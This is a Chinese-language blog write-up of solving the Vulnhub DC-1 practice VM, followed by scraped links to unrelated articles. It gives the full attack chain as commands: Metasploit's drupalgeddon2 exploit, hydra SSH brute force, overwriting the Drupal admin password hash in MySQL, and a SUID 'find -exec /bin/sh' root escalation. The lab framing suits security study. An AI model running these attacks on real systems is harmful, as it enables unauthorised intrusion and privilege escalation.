前言

之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西。

所以才想写点东西,记录一下

1.下载

地址https://www.vulnhub.com/entry/dc-1-1,292/

建议用镜像,快一点

使用Oracle VM VirtualBox打开

2.开始

打开虚拟机后。提示需要账号密码

这个是需要你自己去找的

于是打开kali,vmware的网络配置使用桥接网络,用

arp-scan -l

扫描

其中的 Cadmus Computer Systems即为我们的目标,打开前面的192.168.124.76,如图

这里推荐一个chrome插件,叫wappalyzer,这个可以检测网站的信息,cms,框架,服务器等等,非常棒。通过这个插件,可以得知这个网站使用的是drupalCMS

在msf中查找对应的信息

search drupal

用第5个,先

set rhosts 192.168.124.76

然后use exploit/unix/webapp/drupal_drupalgeddon2

再exploit

如图

当提示session1 open时,则已经成功进入了

执行命令shell命令获得shell

输入ls

发现有给flag1.txt的文件,打开看一下

cat flag1.txt

翻译翻译,每一个好的CMS都需要一个配置文件,你也一样。

找到这个CMS的配置文件(google)

cd sites/default

cat settings.php

这边看到了flag2

再翻译翻译

  蛮力和字典攻击不是

  只有获得访问的方法(您将需要访问)。

  你能用这些凭证做什么?

意思是让我不要用暴力破解得方法搞密码?maybe

同时,下面有数据库账号密码

dbuser R0ck3t

直到现在还没有拿到登陆的账号密码

这边进入/etc/passwd看一下

发现有个叫flag4的账号,如何用john +hydra试着暴力破解一下

hydra是kali自带的,john需要自己安装,这个网上去找教程,这里不放出来了

hydra -l flag4 -P /root/john-1.8.0/run/password.lst ssh://192.168.124.76

然后密码就出来了。。。。。

在vm virutalBox上登陆一下

也可以用kalissh远程登陆(推荐用这个,vmbox太tm蛋疼了)

ssh flag4@192.168.124.76

然后登陆mysql

mysql -u dbuser -p

然后开始找东西

show databases;

show tables

发现有一个叫users的表

打开,发现

再百度一波,如何重置drupal的密码

用update users set pass=‘$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4’ where name=‘admin';

然后用password登陆,这边这个加密方法我还没搞懂

之后就可以登录之前的网站(192.168.124.76)了

登陆后,在网站里扒拉来,扒拉去,在左上的content里看到一个叫flag3的玩意

发现这是一个提示

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

提到了find和-exec,提权用的(学艺不精,看的别人的)

回到kali

find / -perm -u=s -type f 2>/dev/null

find / -type f -name getflag -exec "/bin/sh" \;

提权部分知识参考https://blog.csdn.net/qq_36119192/article/details/84872644

ls

cd ../..

cd /root

cat thefinalflag.txt

然后就算是告一段落了

总结

做完这个感觉自己真的很菜,在此总结一下这个过程中了解到的,学到的,以及还不懂的知识

1.arp-scan -l   用来扫描局域网内的主机。(参考https://blog.csdn.net/weixin_43221560/article/details/90550294

2.用 msf5来reach drupal寻找漏洞,配置并使用这些漏洞(一知半解,还得好好学习),

3.ssh远程连接,如在渗透过程中使用到的  ssh flag4@192.168.124.76。挺方便的

4.john the Ripper +hydra 爆破,(john下载安装参考https://blog.csdn.net/Romanticduan/article/details/81233479,使用参考https://blog.csdn.net/qq_36119192/article/details/83373895

hydra -l flag4 -P /root/john-1.8.0/run/password.lst ssh://192.168.124.76(也是一知半解,同样得学)

5.suid提权

find / -perm -u=s -type f 2>/dev/null

find / -type f -name getflag -exec "/bin/sh" \;

提权部分知识参考https://blog.csdn.net/qq_36119192/article/details/84872644

(这边应该更重要)

6.熟悉了linux的一些命令,文件

目前来说就想到了这些

先这样吧

  

Vulnhub DC-1靶机渗透学习的更多相关文章

  1. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

  2. Vulnhub DC-9靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.147 #扫描端口等信息 22端口过滤,80端口开放,同样的从80端口入手. 不是现成 ...

  3. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  4. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  5. Vulnhub靶机渗透 -- DC5

    信息收集 通过nmap搜索到IP为:192.168.200.11 开启了80http.111RPC服务端口 先打开网页,然后进行目录爆破 contact.php 攻击 经搜索没有发现可以攻击wheel ...

  6. Vulnhub DC-5靶机渗透

    信息搜集 老样子,先找到靶机IP和扫描靶机 nmap -sP 192.168.146.0/24 #找靶机ip nmap -sS -Pn -A 192.168.146.141 #扫描端口 这次开的是80 ...

  7. Vulnhub靶机渗透 -- DC6

    信息收集 开启了22ssh和80http端口 ssh可以想到的是爆破,又或者是可以在靶机上找到相应的靶机用户信息进行登录,首先看一下网站信息 结果发现打开ip地址,却显示找不到此网站 但是可以发现地址 ...

  8. vulnhub-DC:1靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  9. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

随机推荐

  1. c++-多态的学习

    多态的基本介绍 多态基础 面向对象新求 C++编译器提供的多态解决方案 多态意义.多态成立的是三个条件 多态理论基础 多态面试题强化 多态的理解 C++编译器如何实现多态 重载重写重定义 虚析构函数 ...

  2. css3 伪类实现右箭头→

    css3 实现右箭头→ <!DOCTYPE html> <html lang="en"> <head> <meta charset=&qu ...

  3. javascript 获取function的所在文件,并读取代码文件

    1.通过func.toString()可以获取function代码 2.要获取所在文件,需要错误调用func,根据堆栈可以获取 堆栈信息类似: at module.exports.data (d:\P ...

  4. alpine制作jdk、jre镜像、自定义镜像上传阿里云

    alpine制作jdk镜像 alpine Linux简介 1.Alpine Linux是一个轻型Linux发行版,它不同于通常的Linux发行版,Alpine采用了musl libc 和 BusyBo ...

  5. PlayJava Day030

    1.实例化Class类对象 //第一种,可靠高效 Class c0 = String.class ; //第二种,使用对象 Class c1 = "zhangsan".getCla ...

  6. How to: Recompile the Business Class Library 如何:重新编译业务类库

    The eXpressApp Framework supplies the Business Class Library that consists of three assemblies. eXpr ...

  7. 如何实现用户的历史记录功能(最多n条)

    使用容量为n的队列存储历史记录 使用标准库collections中的deque,它是一个双端循环队列 from collections import deque q = deque([], 5) #参 ...

  8. SQL Server解惑——为什么你的查询结果超出了查询时间范围

    废话少说,直接上SQL代码(有兴趣的测试验证一下),下面这个查询语句为什么将2008-11-27的记录查询出来了呢?这个是同事遇到的一个问题,个人设计了一个例子. USE AdventureWorks ...

  9. 痞子衡嵌入式:飞思卡尔i.MX RTyyyy系列MCU启动那些事(2)- Boot配置(BOOT Pin/eFUSE)

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是飞思卡尔i.MX RTyyyy系列MCU的Boot配置. 在上一篇文章 Boot简介 里痞子衡为大家介绍了Boot基本原理以及i.MXR ...

  10. 如何使用终端默认情况下阻止Mac应用保存到iCloud

    当您保存要在Mac上的Pages,Numbers,TextEdit或其他基于云的应用程序中处理的文档时,该保存的默认位置是iCloud.尽管这对某些人或某些文档来说可能是一件好事,但您可能会厌倦每次更 ...